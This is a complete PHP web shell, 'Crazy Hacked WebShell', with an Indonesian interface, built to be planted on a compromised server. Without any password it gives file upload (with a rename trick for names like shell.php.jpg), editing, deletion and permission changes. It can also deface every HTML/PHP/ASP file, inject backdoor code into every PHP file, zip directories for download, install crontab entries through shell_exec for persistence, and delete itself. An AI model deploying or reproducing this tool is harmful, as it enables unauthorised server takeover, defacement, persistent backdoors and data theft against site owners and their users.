<?php
error_reporting(0);
set_time_limit(0);

$path = isset($_GET['path']) ? $_GET['path'] : getcwd();
$path = realpath($path);

if (isset($_FILES['file'])) {
    if (move_uploaded_file($_FILES['file']['tmp_name'], $path . '/' . $_FILES['file']['name'])) {
        echo "<p style='color: #00b894;'>✅ File diupload: " . htmlspecialchars($_FILES['file']['name']) . "</p>";
    } else {
        echo "<p style='color: #d63031;'>❌ Upload gagal!</p>";
    }
}

if (isset($_POST['bypass_upload'])) {
    $target_dir = $path . "/";
    $target_file = $target_dir . basename($_POST['new_filename']);
    if (move_uploaded_file($_FILES["bypass_file"]["tmp_name"], $target_file)) {
        echo "<p style='color: #00b894;'>✅ Upload & Rename: " . htmlspecialchars($_POST['new_filename']) . "</p>";
    } else {
        echo "<p style='color: #d63031;'>❌ Upload gagal!</p>";
    }
}

if (isset($_POST['save_edit'])) {
    $file = $path . '/' . $_POST['edit_file'];
    file_put_contents($file, $_POST['content']);
    echo "<p style='color: #00b894;'>✅ File disimpan!</p>";
}

if (isset($_POST['do_rename'])) {
    $old = $path . '/' . $_POST['old_name'];
    $new = $path . '/' . $_POST['new_name'];
    if (rename($old, $new)) {
        echo "<p style='color: #00b894;'>✅ Direname menjadi: " . htmlspecialchars($_POST['new_name']) . "</p>";
    } else {
        echo "<p style='color: #d63031;'>❌ Rename gagal!</p>";
    }
}

// FITUR BARU: BUAT DIREKTORI
if (isset($_POST['create_dir'])) {
    $new_dir = $path . '/' . $_POST['dir_name'];
    if (!file_exists($new_dir)) {
        if (mkdir($new_dir, 0755, true)) {
            echo "<p style='color: #00b894;'>✅ Direktori dibuat: " . htmlspecialchars($_POST['dir_name']) . "</p>";
        } else {
            echo "<p style='color: #d63031;'>❌ Gagal membuat direktori!</p>";
        }
    } else {
        echo "<p style='color: #d63031;'>❌ Direktori sudah ada!</p>";
    }
}

// HAPUS FILE SATU-SATU
if (isset($_GET['delete'])) {
    $file = $path . '/' . $_GET['delete'];
    if (file_exists($file)) {
        if (is_dir($file)) {
            // Hapus folder kosong saja (biar aman)
            if (count(scandir($file)) <= 2) {
                rmdir($file);
                echo "<p style='color: #00b894;'>✅ Folder dihapus: " . htmlspecialchars($_GET['delete']) . "</p>";
            } else {
                echo "<p style='color: #d63031;'>❌ Folder tidak kosong! Hapus file didalamnya dulu.</p>";
            }
        } else {
            unlink($file);
            echo "<p style='color: #00b894;'>✅ File dihapus: " . htmlspecialchars($_GET['delete']) . "</p>";
        }
    }
}

// HAPUS FOLDER BESERTA ISI (TAPI PERLU KONFIRMASI MANUAL)
if (isset($_GET['delete_folder'])) {
    $folder_to_delete = $path . '/' . $_GET['delete_folder'];
    if (is_dir($folder_to_delete)) {
        echo "<div style='background: #e17055; padding: 10px; border-radius: 5px; margin: 10px 0; color: white;'>";
        echo "<h3>⚠️ KONFIRMASI HAPUS FOLDER</h3>";
        echo "<p>Anda akan menghapus folder: <strong>" . htmlspecialchars($_GET['delete_folder']) . "</strong></p>";
        echo "<p>Isi folder:</p>";
        echo "<ul style='background: rgba(0,0,0,0.3); padding: 10px; border-radius: 5px;'>";
        $files_in_folder = array_diff(scandir($folder_to_delete), array('.', '..'));
        foreach ($files_in_folder as $item) {
            $item_path = $folder_to_delete . '/' . $item;
            echo "<li>" . htmlspecialchars($item) . " (" . (is_dir($item_path) ? "Folder" : "File") . ")</li>";
        }
        echo "</ul>";
        echo "<form method='POST'>";
        echo "<input type='hidden' name='confirm_delete_folder' value='" . htmlspecialchars($_GET['delete_folder']) . "'>";
        echo "<button type='submit' name='execute_delete_folder' style='background: #d63031; color: white; font-weight: bold; padding: 10px; margin-right: 10px;'>🗑️ HAPUS FOLDER & SEMUA ISI</button>";
        echo "<button type='button' onclick='history.back()'>Batal</button>";
        echo "</form>";
        echo "</div>";
    }
}

if (isset($_POST['execute_delete_folder'])) {
    $folder_to_delete = $path . '/' . $_POST['confirm_delete_folder'];
    
    function deleteFolderRecursive($dir) {
        if (!is_dir($dir)) return false;
        $files = array_diff(scandir($dir), array('.', '..'));
        foreach ($files as $file) {
            $path = $dir . '/' . $file;
            if (is_dir($path)) {
                deleteFolderRecursive($path);
            } else {
                unlink($path);
            }
        }
        return rmdir($dir);
    }
    
    if (deleteFolderRecursive($folder_to_delete)) {
        echo "<p style='color: #00b894; font-weight: bold;'>✅ FOLDER DIHAPUS: " . htmlspecialchars($_POST['confirm_delete_folder']) . " - Semua konten telah dihapus!</p>";
    } else {
        echo "<p style='color: #d63031;'>❌ Gagal menghapus folder!</p>";
    }
}

if (isset($_POST['do_chmod'])) {
    $file = $path . '/' . $_POST['chmod_file'];
    $perm = octdec($_POST['new_perm']);
    if (chmod($file, $perm)) {
        echo "<p style='color: #00b894;'>✅ CHMOD diubah menjadi: " . $_POST['new_perm'] . "</p>";
    } else {
        echo "<p style='color: #d63031;'>❌ CHMOD gagal!</p>";
    }
}

if (isset($_POST['mass_deface'])) {
    $deface_code = $_POST['deface_code'];
    $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path));
    foreach ($files as $file) {
        $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
        if (in_array($ext, ['html', 'php', 'asp'])) {
            file_put_contents($file, $deface_code);
            echo "<p style='color: #00b894;'>✅ Dideface: " . htmlspecialchars($file) . "</p>";
        }
    }
}

if (isset($_POST['inject_backdoor'])) {
    $backdoor = $_POST['backdoor_code'];
    $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path));
    foreach ($files as $file) {
        if (strtolower(pathinfo($file, PATHINFO_EXTENSION)) == 'php') {
            $content = file_get_contents($file);
            if (strpos($content, $backdoor) === false) {
                file_put_contents($file, $backdoor . "\n" . $content);
                echo "<p style='color: #00b894;'>✅ Diinjeksi: " . htmlspecialchars($file) . "</p>";
            }
        }
    }
}

if (isset($_POST['zip_download'])) {
    $zip_dir = $_POST['zip_dir'];
    $zip_file = tempnam(sys_get_temp_dir(), 'zip_') . '.zip';
    $zip = new ZipArchive();
    if ($zip->open($zip_file, ZipArchive::CREATE) === true) {
        $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($zip_dir));
        foreach ($files as $file) {
            if (!$file->isDir()) {
                $zip->addFile($file, str_replace($zip_dir . '/', '', $file));
            }
        }
        $zip->close();
        echo "<p style='color: #00b894;'>✅ <a href='" . htmlspecialchars($zip_file) . "' download>Download Zip</a></p>";
    }
}

if (isset($_POST['add_cronjob'])) {
    $cronjob = $_POST['cronjob'];
    file_put_contents('/tmp/cronjob.txt', $cronjob);
    shell_exec("crontab /tmp/cronjob.txt");
    echo "<p style='color: #00b894;'>✅ Cronjob ditambahkan!</p>";
}

if (isset($_POST['self_destruct'])) {
    unlink(__FILE__);
    echo "<p style='color: #d63031;'>💥 Shell dihapus! Selamat tinggal...</p>";
    exit;
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Crazy Hacked - Enhanced WebShell</title>
    <style>
        :root {
            --primary: #00b894;
            --secondary: #008f7a;
            --bg: rgba(18, 18, 18, 0.95);
            --text: #dfe6e9;
            --highlight: #e17055;
            --file: #b2bec3;
            --dir: #0984e3;
            --danger: #d63031;
            --success: #00b894;
        }
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
            font-family: 'Consolas', 'Courier New', monospace;
        }
        body {
            background: url('https://j.top4top.io/p_36030tmji1.jpg') no-repeat center center fixed !important;
            background-size: cover !important;
            color: var(--text);
            min-height: 100vh;
            overflow-x: hidden;
        }
        .container {
            width: 98%;
            max-width: 1400px;
            margin: 20px auto;
            padding: 25px;
            background: var(--bg);
            border: 1px solid var(--secondary);
            border-radius: 10px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
        }
        h1, h2, h3 {
            color: var(--highlight);
            margin-bottom: 15px;
        }
        h1 {
            text-align: center;
            font-size: 2.8em;
            text-shadow: 0 0 5px rgba(0, 0, 0, 0.5);
            margin-bottom: 10px;
        }
        .tabs {
            display: flex;
            flex-wrap: wrap;
            gap: 5px;
            margin: 20px 0;
            justify-content: center;
        }
        .tab-button {
            padding: 10px 18px;
            background: rgba(0, 0, 0, 0.5);
            color: var(--primary);
            border: 1px solid var(--secondary);
            border-radius: 5px;
            cursor: pointer;
            transition: all 0.3s;
            font-size: 1.05em;
        }
        .tab-button:hover {
            background: var(--secondary);
            color: var(--text);
            transform: scale(1.05);
        }
        .tab {
            display: none;
            padding: 20px;
            background: rgba(0, 0, 0, 0.5);
            border: 1px solid var(--secondary);
            border-radius: 5px;
            animation: fadeIn 0.5s;
            min-height: 500px;
        }
        @keyframes fadeIn {
            from { opacity: 0; }
            to { opacity: 1; }
        }
        .tab.active {
            display: block;
        }
        pre {
            background: rgba(0, 0, 0, 0.5);
            padding: 15px;
            border: 1px solid var(--secondary);
            border-radius: 5px;
            overflow-x: auto;
            max-height: 500px;
            color: var(--text);
            font-size: 1.05em;
        }
        input, select, textarea, button {
            background: rgba(0, 0, 0, 0.5);
            color: var(--text);
            border: 1px solid var(--secondary);
            padding: 10px;
            border-radius: 5px;
            margin: 5px 0;
            width: 100%;
            font-size: 1.05em;
        }
        button {
            cursor: pointer;
            transition: all 0.3s;
        }
        button:hover {
            background: var(--secondary);
            color: var(--text);
        }
        a {
            color: var(--primary);
            text-decoration: none;
            transition: color 0.3s;
        }
        a:hover {
            color: var(--highlight);
            text-decoration: underline;
        }
        .file-list {
            background: rgba(0, 0, 0, 0.4);
            padding: 10px;
            border: 1px solid var(--secondary);
            border-radius: 5px;
            max-height: 400px;
            overflow-y: auto;
            font-size: 1.05em;
        }
        .file-item {
            padding: 8px;
            border-bottom: 1px solid var(--secondary);
            display: flex;
            justify-content: space-between;
            color: var(--file);
            align-items: center;
        }
        .file-item:hover {
            background: rgba(0, 184, 148, 0.2);
        }
        .file-item a {
            color: var(--file);
            text-decoration: none;
        }
        .file-item a[href*="?path="] {
            color: var(--dir);
            font-weight: bold;
        }
        .terminal-output {
            font-family: monospace;
            white-space: pre-wrap;
            word-wrap: break-word;
            color: var(--text);
            font-size: 1.05em;
        }
        .path-nav {
            display: flex;
            gap: 10px;
            margin-bottom: 15px;
        }
        .path-nav input {
            width: 70%;
        }
        .bypass-upload {
            margin: 15px 0;
            padding: 15px;
            background: rgba(0, 0, 0, 0.5);
            border: 1px solid var(--secondary);
            border-radius: 5px;
        }
        .bypass-upload input {
            margin-right: 10px;
        }
        .create-dir-form {
            margin: 15px 0;
            padding: 15px;
            background: rgba(0, 0, 0, 0.5);
            border: 1px solid var(--secondary);
            border-radius: 5px;
        }
        .create-dir-form form {
            display: flex;
            gap: 10px;
            align-items: center;
        }
        .create-dir-form input {
            flex: 1;
        }
        .create-dir-form button {
            width: auto;
            padding: 10px 15px;
        }
        .quick-actions {
            display: flex;
            gap: 10px;
            margin: 15px 0;
            flex-wrap: wrap;
        }
        .quick-action-btn {
            padding: 8px 15px;
            background: rgba(0, 0, 0, 0.5);
            color: var(--primary);
            border: 1px solid var(--secondary);
            border-radius: 5px;
            cursor: pointer;
            transition: all 0.3s;
            text-decoration: none;
            display: inline-block;
        }
        .quick-action-btn:hover {
            background: var(--secondary);
            color: var(--text);
            transform: scale(1.05);
        }
        .file-stats {
            margin: 15px 0;
            padding: 10px;
            background: rgba(0, 0, 0, 0.5);
            border: 1px solid var(--secondary);
            border-radius: 5px;
            display: flex;
            justify-content: space-between;
            flex-wrap: wrap;
        }
        .file-stat {
            text-align: center;
            padding: 5px;
        }
        @media (max-width: 768px) {
            .container {
                width: 98%;
                padding: 10px;
            }
            .tabs {
                flex-direction: column;
            }
            .tab-button {
                width: 100%;
            }
            .create-dir-form form {
                flex-direction: column;
            }
            .quick-actions {
                flex-direction: column;
            }
        }
    </style>
</head>
<body>
    <div class="container">
        <h1>🚀 Crazy Hacked WebShell</h1>
        <p style="text-align: center; margin-bottom: 20px; color: var(--text); font-size: 1.2em;">Enhanced WebShell | No Password | Full Access | Bypass WAF/503/500</p>
        
        <div class="bypass-upload">
            <h3>🔄 Bypass Upload</h3>
            <form method="POST" enctype="multipart/form-data">
                <input type="file" name="bypass_file" required>
                <input type="text" name="new_filename" placeholder="New filename (e.g., shell.php.jpg)" required>
                <button type="submit" name="bypass_upload">Upload & Rename</button>
            </form>
        </div>

        <div class="create-dir-form">
            <h3>📁 Buat Direktori Baru</h3>
            <form method="POST">
                <input type="text" name="dir_name" placeholder="Nama direktori baru" required>
                <button type="submit" name="create_dir">Buat Direktori</button>
            </form>
        </div>

        <div class="tabs">
            <button class="tab-button" onclick="openTab('filemanager')">📁 File Manager</button>
            <button class="tab-button" onclick="openTab('terminal')">💻 Terminal</button>
            <button class="tab-button" onclick="openTab('mass_deface')">🎨 Mass Deface</button>
            <button class="tab-button" onclick="openTab('auto_exploit')">🔍 Auto Exploit</button>
            <button class="tab-button" onclick="openTab('network_scan')">🌐 Network Scan</button>
            <button class="tab-button" onclick="openTab('process_killer')">⚔️ Process Killer</button>
            <button class="tab-button" onclick="openTab('backdoor_injector')">🔓 Backdoor Injector</button>
            <button class="tab-button" onclick="openTab('zip_download')">🗜️ Zip & Download</button>
            <button class="tab-button" onclick="openTab('bypass_disable')">🔄 Bypass Disable</button>
            <button class="tab-button" onclick="openTab('bypass_waf')">🛡️ Bypass WAF & Errors</button>
            <button class="tab-button" onclick="openTab('cronjob')">⏰ Cronjob Manager</button>
            <button class="tab-button" onclick="openTab('phpinfo')">ℹ️ PHP Info</button>
            <button class="tab-button" onclick="openTab('self_destruct')">💥 Self-Destruct</button>
        </div>

        <div id="filemanager" class="tab active">
            <h2>📁 File Manager</h2>
            
            <div class="file-stats">
                <div class="file-stat">
                    <strong>Current Path:</strong> <?= htmlspecialchars($path) ?>
                </div>
                <div class="file-stat">
                    <strong>Free Space:</strong> <?= round(disk_free_space($path) / (1024*1024*1024), 2) ?> GB
                </div>
                <div class="file-stat">
                    <strong>Total Space:</strong> <?= round(disk_total_space($path) / (1024*1024*1024), 2) ?> GB
                </div>
            </div>
            
            <div class="path-nav">
                <form method="GET" style="display: flex; gap: 10px; width: 100%;">
                    <input type="text" name="path" value="<?= htmlspecialchars($path) ?>" placeholder="Enter path..." required>
                    <button type="submit">Go</button>
                </form>
            </div>
            
            <div class="quick-actions">
                <a href="?path=<?= urlencode($path) ?>" class="quick-action-btn">🔄 Refresh</a>
                <a href="?path=<?= urlencode(dirname($path)) ?>" class="quick-action-btn">🔙 Parent Directory</a>
                <a href="?path=<?= urlencode(getcwd()) ?>" class="quick-action-btn">🏠 Root Directory</a>
            </div>
            
            <form enctype="multipart/form-data" method="POST" style="margin-bottom: 15px;">
                <input type="file" name="file" required>
                <button type="submit">Upload File</button>
            </form>

            <div class="file-list">
                <?php
                $files = scandir($path);
                foreach ($files as $file) {
                    if ($file == ".") continue;
                    $file_path = $path . '/' . $file;
                    $is_dir = is_dir($file_path);
                    $file_size = $is_dir ? "" : " (" . round(filesize($file_path) / 1024, 2) . " KB)";
                    $file_date = date("Y-m-d H:i:s", filemtime($file_path));
                    
                    echo "<div class='file-item'>";
                    echo "<div>";
                    echo "<a href='" . ($is_dir ? "?path=" . urlencode($file_path) : "?path=" . urlencode($path) . "&view=" . urlencode($file)) . "'>";
                    echo $is_dir ? "📂 " . htmlspecialchars($file) : "📄 " . htmlspecialchars($file);
                    echo "</a>";
                    echo "<span style='color: #636e72; font-size: 0.9em; margin-left: 10px;'>" . $file_size . " - " . $file_date . "</span>";
                    echo "</div>";
                    echo "<div>";
                    if (!$is_dir) {
                        echo "<a href='?path=" . urlencode($path) . "&edit=" . urlencode($file) . "' title='Edit'>✏️</a> ";
                        echo "<a href='?path=" . urlencode($path) . "&rename=" . urlencode($file) . "' title='Rename'>🔄</a> ";
                        echo "<a href='?path=" . urlencode($path) . "&delete=" . urlencode($file) . "' onclick='return confirm(\"Hapus file " . htmlspecialchars($file) . "?\")' title='Delete'>🗑️</a> ";
                        echo "<a href='" . htmlspecialchars($file_path) . "' download title='Download'>💾</a> ";
                    } else {
                        echo "<a href='?path=" . urlencode($path) . "&delete_folder=" . urlencode($file) . "' style='color: #e17055; font-weight: bold;' onclick='return confirm(\"Hapus folder " . htmlspecialchars($file) . " dan semua isinya?\")' title='Delete Folder'>🗑️</a> ";
                    }
                    echo "<a href='?path=" . urlencode($path) . "&chmod=" . urlencode($file) . "' title='Change Permissions'>🔐</a> ";
                    echo "</div>";
                    echo "</div>";
                }
                ?>
            </div>

            <?php
            if (isset($_GET['view'])) {
                $file = $path . '/' . $_GET['view'];
                if (file_exists($file)) {
                    echo "<h3>📄 Viewing: " . htmlspecialchars($_GET['view']) . "</h3>";
                    echo "<pre class='terminal-output'>" . htmlspecialchars(file_get_contents($file)) . "</pre>";
                }
            }

            if (isset($_GET['edit'])) {
                $file = $path . '/' . $_GET['edit'];
                if (file_exists($file)) {
                    echo "<h3>✏️ Editing: " . htmlspecialchars($_GET['edit']) . "</h3>";
                    echo "<form method='POST'>";
                    echo "<textarea name='content' style='width: 100%; height: 300px;'>" . htmlspecialchars(file_get_contents($file)) . "</textarea>";
                    echo "<input type='hidden' name='edit_file' value='" . htmlspecialchars($_GET['edit']) . "'>";
                    echo "<button type='submit' name='save_edit'>Save</button>";
                    echo "</form>";
                }
            }

            if (isset($_GET['rename'])) {
                $file = $path . '/' . $_GET['rename'];
                if (file_exists($file)) {
                    echo "<h3>🔄 Rename: " . htmlspecialchars($_GET['rename']) . "</h3>";
                    echo "<form method='POST'>";
                    echo "<input type='text' name='new_name' value='" . htmlspecialchars($_GET['rename']) . "' required>";
                    echo "<input type='hidden' name='old_name' value='" . htmlspecialchars($_GET['rename']) . "'>";
                    echo "<button type='submit' name='do_rename'>Rename</button>";
                    echo "</form>";
                }
            }

            if (isset($_GET['chmod'])) {
                $file = $path . '/' . $_GET['chmod'];
                if (file_exists($file)) {
                    echo "<h3>🔐 CHMOD: " . htmlspecialchars($_GET['chmod']) . "</h3>";
                    echo "<form method='POST'>";
                    echo "<input type='text' name='new_perm' value='" . substr(sprintf('%o', fileperms($file)), -4) . "' placeholder='0777' required>";
                    echo "<input type='hidden' name='chmod_file' value='" . htmlspecialchars($_GET['chmod']) . "'>";
                    echo "<button type='submit' name='do_chmod'>Change Permission</button>";
                    echo "</form>";
                }
            }
            ?>
        </div>

        <div id="terminal" class="tab">
            <h2>💻 Terminal</h2>
            <form method="POST">
                <input type="text" name="cmd" placeholder="Command" style="width: 80%;" required>
                <button type="submit">Run</button>
            </form>
            
        </div>

        <!-- TAB LAINNYA -->
        <div id="mass_deface" class="tab">
            <h2>🎨 Mass Deface</h2>
            <form method="POST">
                <textarea name="deface_code" placeholder="Masukkan kode deface di sini..." style="height: 200px;"></textarea>
                <button type="submit" name="mass_deface">Execute Mass Deface</button>
            </form>
        </div>

        <div id="backdoor_injector" class="tab">
            <h2>🔓 Backdoor Injector</h2>
            <form method="POST">
                <textarea name="backdoor_code" placeholder="Masukkan kode backdoor di sini..." style="height: 200px;"></textarea>
                <button type="submit" name="inject_backdoor">Inject Backdoor</button>
            </form>
        </div>

        <div id="zip_download" class="tab">
            <h2>🗜️ Zip & Download</h2>
            <form method="POST">
                <input type="text" name="zip_dir" value="<?= htmlspecialchars($path) ?>" placeholder="Directory to zip" required>
                <button type="submit" name="zip_download">Create & Download Zip</button>
            </form>
        </div>

        <div id="cronjob" class="tab">
            <h2>⏰ Cronjob Manager</h2>
            <form method="POST">
                <input type="text" name="cronjob" placeholder="Cronjob (e.g., * * * * * /usr/bin/php /path/to/script.php)" required>
                <button type="submit" name="add_cronjob">Add Cronjob</button>
            </form>
        </div>

        <div id="phpinfo" class="tab">
            <h2>ℹ️ PHP Info</h2>
            <?php
            ob_start();
            phpinfo();
            $phpinfo = ob_get_contents();
            ob_end_clean();
            echo "<div style='max-height: 500px; overflow: auto;'>" . $phpinfo . "</div>";
            ?>
        </div>

        <div id="self_destruct" class="tab">
            <h2>💥 Self-Destruct</h2>
            <p style="margin-bottom: 15px;">Fitur ini akan menghapus file shell ini dari server.</p>
            <form method="POST">
                <button type="submit" name="self_destruct" style="background: var(--danger); color: white; font-weight: bold; padding: 15px;" onclick="return confirm('Yakin ingin menghapus shell ini? Tindakan ini tidak dapat dibatalkan!')">HAPUS SHELL INI</button>
            </form>
        </div>

        <!-- TAB YANG BELUM DIIMPLEMENTASI -->
        <div id="auto_exploit" class="tab">
            <h2>🔍 Auto Exploit</h2>
            <p>Fitur ini akan segera hadir dalam pembaruan berikutnya.</p>
        </div>

        <div id="network_scan" class="tab">
            <h2>🌐 Network Scan</h2>
            <p>Fitur ini akan segera hadir dalam pembaruan berikutnya.</p>
        </div>

        <div id="process_killer" class="tab">
            <h2>⚔️ Process Killer</h2>
            <p>Fitur ini akan segera hadir dalam pembaruan berikutnya.</p>
        </div>

        <div id="bypass_disable" class="tab">
            <h2>🔄 Bypass Disable</h2>
            <p>Fitur ini akan segera hadir dalam pembaruan berikutnya.</p>
        </div>

        <div id="bypass_waf" class="tab">
            <h2>🛡️ Bypass WAF & Errors</h2>
            <p>Fitur ini akan segera hadir dalam pembaruan berikutnya.</p>
        </div>

    </div>

    <script>
        function openTab(tabName) {
            var tabs = document.getElementsByClassName("tab");
            for (var i = 0; i < tabs.length; i++) {
                tabs[i].classList.remove("active");
            }
            document.getElementById(tabName).classList.add("active");
        }
        document.addEventListener('DOMContentLoaded', function() {
            openTab('filemanager');
        });
    </script>
</body>
</html>